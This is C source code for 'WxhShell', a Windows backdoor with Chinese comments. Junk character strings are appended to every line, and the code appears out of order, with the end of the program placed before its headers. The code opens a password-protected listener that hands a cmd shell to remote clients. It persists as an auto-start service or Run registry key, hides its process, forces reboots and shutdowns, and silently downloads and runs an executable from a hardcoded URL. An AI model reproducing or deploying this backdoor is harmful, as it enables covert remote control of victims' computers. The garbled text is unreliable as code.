    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0BD((oNg  
    if(Boot(SHUTDOWN)) __%E!*m"<_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3s$.l }  
    else { myX0<j3G5  
    closesocket(wsh); xyWdzc] (p  
    ExitThread(0); 'yjH~F.  
    } G QBN-Qv  
    break; p+D 6Z'B  
    } ]H7Mx\  
  // 获取shell ov>L-  
  case 's': { 1Sk6[h'CL  
    CmdShell(wsh); B;je|M!d  
    closesocket(wsh); ?Gw89r  
    ExitThread(0); &bK$!8Z  
    break; DA@hf  
  } ,]qX_`qF  
  // 退出 U  {!{5l:  
  case 'x': { WN1-J(x6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4x=Y9w0?8  
    CloseIt(wsh); x^skoz  
    break; dV  
    } `I{Q,HQ7  
  // 离开  kovzB]  
  case 'q': { 2` qXD fD`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); s\R?@  
    closesocket(wsh); <ft9B05*  
    WSACleanup(); e/\_F+jyc  
    exit(1); ENjD~S  
    break; ~riw7"  
        } XnOl*#P  
  } 3<V!y&a  
  } ^`?> Huu<w  
83*k.]S`  
  // 提示信息 ]zY'w,?D\F  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1zW6Pb  
} 7?] p\`  
  } RVx<2,['  
RL9BB.  
  return; 6<nO2GW  
} OG`O i^2  
"r+<=JU>OV  
// shell模块句柄 3zHiu*2/!  
int CmdShell(SOCKET sock) *?&O8SSBH  
{ KIJ[ cIw  
STARTUPINFO si; 0n=E.qZ9c  
ZeroMemory(&si,sizeof(si)); mX_`rvYII  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k0?6.[ku  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; RoRVu,1  
PROCESS_INFORMATION ProcessInfo; bnQO}G  
char cmdline[]="cmd"; wv-8\)oA  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $0t %}DE  
  return 0; w[-Bsf  
} ;v\n[  
:g";p.~=  
// 自身启动模式 tEs$+b  
int StartFromService(void) Km-B=6*QY  
{ p6)UR~9Rs  
typedef struct iN*@f8gf  
{ _: K\v8  
  DWORD ExitStatus; v2V1&-  
  DWORD PebBaseAddress; _I!&w!3oM  
  DWORD AffinityMask; (6{ VMQ  
  DWORD BasePriority; 5WYU&8+]{:  
  ULONG UniqueProcessId; M-gjS6c\3  
  ULONG InheritedFromUniqueProcessId; DBRJtU!5x  
}   PROCESS_BASIC_INFORMATION; X;NTz75  
 tS7u#YMh  
PROCNTQSIP NtQueryInformationProcess; 4{KsCd)  
}o4Cd$,8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p'*UM%@SIY  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |z%,W/Ef  
,+&j/0U  
  HANDLE             hProcess; x7?{*w&r  
  PROCESS_BASIC_INFORMATION pbi; sh1()vT  
n6f|,D!?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,R+u%bmn#  
  if(NULL == hInst ) return 0; 25L{bcng  
nC^'2z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K~]jXo^M  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Qp ,l>k  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k s}o9[D3  
O]>`B{  
  if (!NtQueryInformationProcess) return 0; ./d (@@  
kXWx )v  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d9(FwmE  
  if(!hProcess) return 0; $((<le5-)  
A?/?9Gr  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D }\`5L<  
xph60T  
  CloseHandle(hProcess); @4i D N  
KB5{l%>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >@"j9  
if(hProcess==NULL) return 0; w9%gaK;  
DKZ69^  
HMODULE hMod; ~#@EjQCq  
char procName[255]; TI332,eL  
unsigned long cbNeeded; NmQ]qv  
VsC]z, oV  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T*IudxW  
zkMQ= ,[  
  CloseHandle(hProcess); IQDWH/ c  
e([&Nr8h  
if(strstr(procName,"services")) return 1; // 以服务启动 }5k"aCno  
\&H%k   
  return 0; // 注册表启动 Nd6z81  
} OH~t\fQ1Zf  
NQAnvX;  
// 主模块 4v>V7T.  
int StartWxhshell(LPSTR lpCmdLine) bbJa,}R  
{ F,sT[C  
  SOCKET wsl; 4Qv|Z+$i  
BOOL val=TRUE; <R2  
  int port=0; N]duv~JS  
  struct sockaddr_in door; 4M _83WL  
EY>A(   
  if(wscfg.ws_autoins) Install(); (\}IOCNS  
`G'V9Xs(  
port=atoi(lpCmdLine); Ur`v*LT}~  
gvC2\k{  
if(port<=0) port=wscfg.ws_port; gDsZbmR  
"rXGXQu  
  WSADATA data; c:0$ M w=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5?b9[o+ D  
6"DvdJ0MB  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #'T|,xIr-Q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cZu:dwE  
  door.sin_family = AF_INET; $\bH 5|Hk]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2d._X$fx7  
  door.sin_port = htons(port); J=$v+8&.  
*f(}@U  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .JiQq]  
closesocket(wsl); ' 9,}N:p  
return 1; K)qmJ-Gub  
} !-QKh aY  
WFkXz*7B  
  if(listen(wsl,2) == INVALID_SOCKET) { ;#;X@BhS  
closesocket(wsl); eE&F1|8  
return 1; +LUL-d  
} `<K#bDU;a  
  Wxhshell(wsl); WV8<gx`Q  
  WSACleanup(); .Ybm27Dk  
~7ArH9k .  
return 0; u7/M>YJ`T  
8ZN J}  
} J ^v_VZ3  
BAxZR  
// 以NT服务方式启动 u4S3NLG)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A$5T3j'  
{ /`1zkBj<&  
DWORD   status = 0; V=YK3){>A  
  DWORD   specificError = 0xfffffff; H(pOR< `  
&v:iC u^|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; nhIITfJJ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \F> *d!^C  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  E5o0^^  
  serviceStatus.dwWin32ExitCode     = 0; WaH TzIa[  
  serviceStatus.dwServiceSpecificExitCode = 0; 7.5G4  
  serviceStatus.dwCheckPoint       = 0; iw#luHcJ  
  serviceStatus.dwWaitHint       = 0; d`:0kOF+  
%(NRH?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3Mdg&~85  
  if (hServiceStatusHandle==0) return; ^=tyf&"  
eSvu:euv  
status = GetLastError(); )X@(>b{  
  if (status!=NO_ERROR) BFMM6-Ve  
{ @p!["v&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Kkd7D_bZ*  
    serviceStatus.dwCheckPoint       = 0; ALKhZFuz  
    serviceStatus.dwWaitHint       = 0; p0@iGyd  
    serviceStatus.dwWin32ExitCode     = status; ue`F|  
    serviceStatus.dwServiceSpecificExitCode = specificError; M~@\x]p >  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); D.HAp+lx  
    return; Edjh*  
  } KR{kn[2|Q  
:!3P4?a  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; onjTuZ^h  
  serviceStatus.dwCheckPoint       = 0; H(0d(c1s  
  serviceStatus.dwWaitHint       = 0; < *XC`Ii  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s6qe5[  
} 0AaN  
HVC\(h,)i  
// 处理NT服务事件,比如:启动、停止 }$b/g  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 'dx4L }d  
{ 9 /9,[A  
switch(fdwControl) V-jo2+Y5=  
{ w("jyvV[C  
case SERVICE_CONTROL_STOP: "U yw7  
  serviceStatus.dwWin32ExitCode = 0; %2 >FSE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0a(*/u  
  serviceStatus.dwCheckPoint   = 0; KYlWV<sR  
  serviceStatus.dwWaitHint     = 0; 0|HhA,u  
  { 1Og9VG1^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /1O6;'8He  
  } atPf527\`  
  return; u'=#~'6  
case SERVICE_CONTROL_PAUSE: g :O.$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; YpuA,r;"  
  break; {8t;nsdm!  
case SERVICE_CONTROL_CONTINUE: Uz1u6BF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {(t (}-:Z  
  break; EK#w: "  
case SERVICE_CONTROL_INTERROGATE: &*0!${ B  
  break; X.JB&~/rO  
}; Qi[T!1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A]R"C:o  
} S_\RQB\l  
E6n;_{Se/S  
// 标准应用程序主函数 |FKo}>4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~L?p/3m   
{ @GGyiK@  
}p "HD R>  
// 获取操作系统版本 ]H.+=V;1  
OsIsNt=GetOsVer(); >0512_J+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S:DB%V3  
gg6&Fzp  
  // 从命令行安装 !N!M NsyDz  
  if(strpbrk(lpCmdLine,"iI")) Install(); mTcLocx  
uZ OUp8QQ  
  // 下载执行文件 ,E/vHI8  
if(wscfg.ws_downexe) { EQ7cK63  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {5*+  
  WinExec(wscfg.ws_filenam,SW_HIDE);  dedi6Brl  
} D@\97t+  
+LrW#K;  
if(!OsIsNt) { R4{}ZT  
// 如果时win9x,隐藏进程并且设置为注册表启动 O1/!)E!  
HideProc(); ` 3<#DZ;!  
StartWxhshell(lpCmdLine); QAu^]1;  
} )TXn7{M:  
else O  89BN6p  
  if(StartFromService()) e _,_:|t  
  // 以服务方式启动 bXtA4O  
  StartServiceCtrlDispatcher(DispatchTable); .%D] z{''  
else `M\L 6o  
  // 普通方式启动 }~\J7R'  
  StartWxhshell(lpCmdLine); VeCpz[r  
:<nL9y jt  
return 0; Z#\ \NfR  
} CVu'uyy  
tMupX-V  
r}XD{F}"  
R|tjvp-[}  
=========================================== 1OJ:Vy}n  
NH|v`rO  
Z^#7&Pv0  
[rGR1>U?i  
BhNwC[G?m  
R[o KhU  
" t+66kBN  
<y!6HJ"  
#include <stdio.h> ZP?](RV>xg  
#include <string.h> qB"y'UW8  
#include <windows.h> b$g.">:$  
#include <winsock2.h> W>s<&Vb  
#include <winsvc.h> HaLEQ73  
#include <urlmon.h> XjL( V1  
m@"!=CTKd  
#pragma comment (lib, "Ws2_32.lib") E6BW&Xp  
#pragma comment (lib, "urlmon.lib") WqwD"WX+w  
,P5HR+h  
#define MAX_USER   100 // 最大客户端连接数 I7]45pF  
#define BUF_SOCK   200 // sock buffer !07$aQYcd  
#define KEY_BUFF   255 // 输入 buffer V8&%fxn+  
GAPZt4Z2  
#define REBOOT     0   // 重启 P]INYH  
#define SHUTDOWN   1   // 关机 v82@']IN  
cj5p I?@e)  
#define DEF_PORT   5000 // 监听端口 RkC?(p  
vE{QN<6T  
#define REG_LEN     16   // 注册表键长度 [NC^v.[1[  
#define SVC_LEN     80   // NT服务名长度 TS@EE&Wq  
wxvt:= =  
// 从dll定义API {:fyz#>>^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >uxak2nM-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G=\rlH]N  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); gM_Z/$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vR#A7y @ !  
+U@P+;  
// wxhshell配置信息 /V:%}Z  
struct WSCFG { .LV=Z0ja  
  int ws_port;         // 监听端口 33-=Z9|r  
  char ws_passstr[REG_LEN]; // 口令 <9B43  
  int ws_autoins;       // 安装标记, 1=yes 0=no #& R x(  
  char ws_regname[REG_LEN]; // 注册表键名 us$~6  
  char ws_svcname[REG_LEN]; // 服务名 -%"MAIJnX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 P0UMMn\-#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 D3BX[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :|P"`j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no i^="*t\i  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nhQ.U>&-M  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 l&5| =  
z_r W1?|  
}; vy6NH5Q  
:P;#Y7}Y$  
// default Wxhshell configuration h jW RU#  
struct WSCFG wscfg={DEF_PORT, u~% m(  
    "xuhuanlingzhe", h4!$,%"''  
    1, G;wv.|\  
    "Wxhshell", cXtL3T+  
    "Wxhshell", ;/ >~|@  
            "WxhShell Service", ^:LF  
    "Wrsky Windows CmdShell Service", )` '  
    "Please Input Your Password: ", ?RrJYj1  
  1, O:pQf/Xn  
  "http://www.wrsky.com/wxhshell.exe", K\=bpc"Fy  
  "Wxhshell.exe" H~@aT7  
    }; %[;<'s5e~  
 LlnIn{C  
// 消息定义模块 +oe ~j\=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2 R1S>X  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [Zi\L>PHO  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v#=WdaNz  
char *msg_ws_ext="\n\rExit."; |M0 XLCNd_  
char *msg_ws_end="\n\rQuit."; c$@,*c 0n  
char *msg_ws_boot="\n\rReboot..."; TDy@Y> )  
char *msg_ws_poff="\n\rShutdown..."; +xFtGF)  
char *msg_ws_down="\n\rSave to "; l&U3jeW-o  
5N`g  
char *msg_ws_err="\n\rErr!"; q{n~s=  
char *msg_ws_ok="\n\rOK!"; m <aMb  
k:`^KtBMl  
char ExeFile[MAX_PATH]; <f8@Qij  
int nUser = 0; z[ IG+2  
HANDLE handles[MAX_USER]; uh`~K6&*\w  
int OsIsNt; S3btx9y{  
V>4 !fD=  
SERVICE_STATUS       serviceStatus; Y13IrCA2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; - stSl*  
+~8/7V22  
// 函数声明 sfa T`q  
int Install(void); \ 1ys2BX  
int Uninstall(void); -D38>#Y  
int DownloadFile(char *sURL, SOCKET wsh); rQN+x|dKMb  
int Boot(int flag); Xqf"Wx(X  
void HideProc(void); ^ chlAQz(  
int GetOsVer(void); "c1vW<;  
int Wxhshell(SOCKET wsl); Ya304Pjd  
void TalkWithClient(void *cs); hFylQfd  
int CmdShell(SOCKET sock); q35%t61Lc  
int StartFromService(void); Lu1>A {et  
int StartWxhshell(LPSTR lpCmdLine); kX5v!pm[  
:,]%W $f=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); khc5h^0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h`&mW w  
-wvJZ  
// 数据结构和表定义 ''v_8sv  
SERVICE_TABLE_ENTRY DispatchTable[] = ^Q2K0'm5  
{ dy|r:~j3  
{wscfg.ws_svcname, NTServiceMain}, pZ OVD%  
{NULL, NULL} V u;tU.  
}; Vk{0)W7  
C0KP,JS&  
// 自我安装 |hOqz2|  
int Install(void) s:wLEj+  
{ vA(3H/)-  
  char svExeFile[MAX_PATH]; TX*s T  
  HKEY key; k3^S^Bv\  
  strcpy(svExeFile,ExeFile); 4)Z78H%>  
U%w ?muJW  
// 如果是win9x系统,修改注册表设为自启动 e,:@c3I  
if(!OsIsNt) { e?RHf_d3T-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l.>QO ;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PNg,bcl  
  RegCloseKey(key); aHwrFkn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7}TjOWC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %8hhk]m\b>  
  RegCloseKey(key); d=H C;T)  
  return 0; vseuk@>  
    } [$-y8`~(  
  } O_KL#xo  
} wzP>Cq  
else { B>|@XfPM  
&d9";V"E  
// 如果是NT以上系统,安装为系统服务 6dq5f?w]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); LD]XN'?"W  
if (schSCManager!=0) w9c  
{ tw\/1wa.  
  SC_HANDLE schService = CreateService `6Y'H2WJ?  
  ( iMJjWkk  
  schSCManager, =(.HO:#  
  wscfg.ws_svcname, ML Id3#Q  
  wscfg.ws_svcdisp, OC"W=[Myl  
  SERVICE_ALL_ACCESS, >|uZIcs 6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]e)<CE2   
  SERVICE_AUTO_START, L[##w?Xf.  
  SERVICE_ERROR_NORMAL, C!~&c7  
  svExeFile, 8 :Z3Q  
  NULL, }$81FSKh  
  NULL, Sf lHSMFw  
  NULL, ~H)bvN^  
  NULL, LI"ghz=F  
  NULL pPeS4$Y  
  ); ;]vE"Mx$  
  if (schService!=0) hZc$`V=R  
  { M nH4p  
  CloseServiceHandle(schService); }|AUV  
  CloseServiceHandle(schSCManager); 5w iU4-{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3 LoB-4u?  
  strcat(svExeFile,wscfg.ws_svcname); p>65(&N,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9M<qk si  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O6l j^  
  RegCloseKey(key); vYrqZie<  
  return 0; *,@dt+H!y  
    } *%\z#Bje@  
  } Xxp<qIEm  
  CloseServiceHandle(schSCManager); Pou`PNvH  
} r5tv9#4]  
} qZCA16  
V= !!;KR0  
return 1; E3;[*ve  
} yH@W6'.  
LF{d'jJ&K  
// 自我卸载 >/ W:*^g)  
int Uninstall(void) gKn"e|A  
{ JX`+b  
  HKEY key; "4oY F:h  
 ()=  
if(!OsIsNt) { iK= {pd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;~#rd L  
  RegDeleteValue(key,wscfg.ws_regname); Jc(tV(z  
  RegCloseKey(key); UIovv%7zZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .)ZK42Qd  
  RegDeleteValue(key,wscfg.ws_regname); F{B__Kf  
  RegCloseKey(key); e>z3 \4  
  return 0; 3-Xum*)Y  
  } /\_0daUx  
} !T#~.QP4  
} rpQB# Pz  
else { mp+ %@n.;  
+tES:3Pi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3?.3Z!H/  
if (schSCManager!=0) nO,<`}pV  
{ u-f_,],p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ZlUd^6|:3  
  if (schService!=0) Gt2NUGU  
  { }{J<Wzw  
  if(DeleteService(schService)!=0) { CES^ c-. k  
  CloseServiceHandle(schService); gH(,>}{^K  
  CloseServiceHandle(schSCManager); VSL6tQp  
  return 0;  (/-2bO  
  } cAC]%~orx  
  CloseServiceHandle(schService); ~(~fuDT~O  
  } sFT-aLpL@V  
  CloseServiceHandle(schSCManager); c7[|x%~  
} 4S`2")V  
} ^} %Oq P  
%J5zfNe)&  
return 1; Dny5X.8  
} z v*hA/  
<=W;z=$!Bb  
// 从指定url下载文件 yCwBZ/C  
int DownloadFile(char *sURL, SOCKET wsh) `$ql>k-6C  
{ oe=^CeW"  
  HRESULT hr; mg;+Th &  
char seps[]= "/"; Mm;kB/ 1  
char *token; D'$ki[{,  
char *file; A36dj  
char myURL[MAX_PATH]; 4onRO!G,  
char myFILE[MAX_PATH]; 7hlgm7 ^  
m-xSF]q=<  
strcpy(myURL,sURL); !_3R dS  
  token=strtok(myURL,seps); @T0F }(k  
  while(token!=NULL) U3}r.9/  
  { *yN+Xm8o  
    file=token; UA>UW!I  
  token=strtok(NULL,seps); ,_,Z<X/  
  } (C dx7v2Nh  
*e&OpVn  
GetCurrentDirectory(MAX_PATH,myFILE); ] lE6:^V  
strcat(myFILE, "\\"); b)"bX}  
strcat(myFILE, file); Uo>pV 9xRG  
  send(wsh,myFILE,strlen(myFILE),0); 6 9_etv  
send(wsh,"...",3,0); 9lbe[w @  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fjVGps$ j  
  if(hr==S_OK) Q x}\[  
return 0; ;m`k#J?  
else P~HzN C  
return 1; ,_ }  
%C^U?m`  
} `O4Ysk72x9  
`irz'/"p  
// 系统电源模块 1$2'N~`#U  
int Boot(int flag) *8{PoD   
{ Y3KKskhLx  
  HANDLE hToken; ?:73O`sX:  
  TOKEN_PRIVILEGES tkp; \Ld/'Z;w  
YC+}H3 3  
  if(OsIsNt) { |3j'HN5S  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `"`/_al^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^NwXvp>7-  
    tkp.PrivilegeCount = 1; yE1M+x./  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; I-<U u 2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lJ1_Zs `  
if(flag==REBOOT) { `p0+j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @Cg%7AF  
  return 0; *M6' GT1%c  
} gx,BF#8}  
else { -]HPDN,OB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {8`V5:  
  return 0;  ntK#7(U'  
} 8s^CE[TA  
  } /E8{:>2  
  else { AT*J '37  
if(flag==REBOOT) { WxO2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) eFJ .)Z  
  return 0; 1o5n1 A  
} =*<Cw?Gc  
else { H809gm3(Z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <=D !/7$ O  
  return 0; ;>%@  
} R <Mvwu  
} ^U1@ hq*u  
E$!0h_.(  
return 1; od\-o:bS  
} YB?yi( "yL  
]rk8Jsg  
// win9x进程隐藏模块 /*Xr^X6  
void HideProc(void) `?@7T-v  
{ MC=pN(l  
4R<bfZ43  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D3,9X#B=  
  if ( hKernel != NULL ) cPu<:<F[  
  { _4~'K?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); NmbA~i  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); r5#8V zr  
    FreeLibrary(hKernel); P[Q3z$I}  
  } DNYJR]>  
<WPLjgtn3  
return; Ky:y1\K1^K  
} 9UbD =}W  
*SP@`)\D  
// 获取操作系统版本 X1LwIa>  
int GetOsVer(void) _d<xxF^q  
{ VH*4fcT'D  
  OSVERSIONINFO winfo; qGezmkNFm  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6sE%]u<V  
  GetVersionEx(&winfo); Nj~3FL  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) mEh([ZnY  
  return 1; 4n}tDHvd  
  else <d`ksZ+  
  return 0; )7`2FLG  
} xMOq/" )  
x~ ;1CB  
// 客户端句柄模块 j*XhBWE?  
int Wxhshell(SOCKET wsl) G&7!3u  
{ j2dptM3t{  
  SOCKET wsh; !t.*xT4W  
  struct sockaddr_in client; <r`^iR)%  
  DWORD myID; V:Z}cfR.7  
4nvi7  
  while(nUser<MAX_USER) q`u^ sc  
{ /);S?7u.  
  int nSize=sizeof(client); 4ju=5D];   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qL;T^ljP  
  if(wsh==INVALID_SOCKET) return 1; JI5%fU%O#n  
\7\7i-Vo  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ()\=(n!J  
if(handles[nUser]==0) _{k-&I  
  closesocket(wsh); f$2DV:wuC  
else 45 \W%8  
  nUser++; GE S_|[Q  
  } :b~5nftr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :"im2J  
eI@nskq#  
  return 0; jeu|9{iTVu  
} KFuP gp  
s%Y8;D,~+  
// 关闭 socket 9$~a&lXO5  
void CloseIt(SOCKET wsh) OZ SM2~  
{ To!` T$Xh  
closesocket(wsh); 50E?K!  
nUser--; ;Yr?"|  
ExitThread(0); C)z?-f  
} mD"[z}r)  
X?B\+dq  
// 客户端请求句柄 pRez${f.(s  
void TalkWithClient(void *cs) \GP0FdpV  
{ +9fQ YJBA  
P/ XO5`  
  SOCKET wsh=(SOCKET)cs; rm5@dM@  
  char pwd[SVC_LEN]; j8cXv  
  char cmd[KEY_BUFF]; 3!*qB-d  
char chr[1]; +U^H`\EUr  
int i,j; n@PXC8}  
tbm/gOBw  
  while (nUser < MAX_USER) { >U9JbkeF  
:|z.F+-/  
if(wscfg.ws_passstr) { a<W.}0ZY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 04E S>'@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k;~*8i=%,\  
  //ZeroMemory(pwd,KEY_BUFF); Sdr,q9+__  
      i=0; 12 TX_0  
  while(i<SVC_LEN) { t4H*&U  
G pC*w ~  
  // 设置超时 dm~Uj  
  fd_set FdRead; a)qlrtCl  
  struct timeval TimeOut; cGUsao  
  FD_ZERO(&FdRead); ;/R\!E   
  FD_SET(wsh,&FdRead); 14S_HwX  
  TimeOut.tv_sec=8; xO0}A1t Wd  
  TimeOut.tv_usec=0; Id<O/C  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yLY$1#Sa  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); C lWxL#L6~  
Kj/{V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pm>$'z!.):  
  pwd=chr[0]; ,w|Or}h]7  
  if(chr[0]==0xd || chr[0]==0xa) { 4SNDKFw  
  pwd=0; /$=<RUE  
  break; T/nG\WZbZn  
  } 3T)_(SM"  
  i++; ur| vh5  
    } +]$c+!khj  
Y$<p_X,  
  // 如果是非法用户,关闭 socket 4V7=VZ, @3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); o56UlN  
} SFkB,)Z N  
Cb i;CF\{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uMb[0-5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0o]T6  
&j!q9F  
while(1) { i0g/'ZP  
*Q!I^]CR  
  ZeroMemory(cmd,KEY_BUFF); xO 6$:o-  
D^<5gRK?  
      // 自动支持客户端 telnet标准   Mq Q'Kjo  
  j=0; D&|HS!  
  while(j<KEY_BUFF) { 3( o~|%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3,dIW*<**  
  cmd[j]=chr[0]; #QM9!k@9k  
  if(chr[0]==0xa || chr[0]==0xd) { ,wB)hp  
  cmd[j]=0; ::k cV'*  
  break; !JnxNIr&i|  
  } ]\6*2E{1m  
  j++; K [R.B!;N  
    } >)8<d3m  
^2-+MWW.  
  // 下载文件 ^<`uyY))Q  
  if(strstr(cmd,"http://")) { L5n/eg:Q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +Cs.v.GA5  
  if(DownloadFile(cmd,wsh)) @s8wYcW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); aBT8mK -.  
  else Zd~Q@+sH  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sL4+O P-  
  } / 0y5/  
  else { J"?jaa2~  
,ek0)z.  
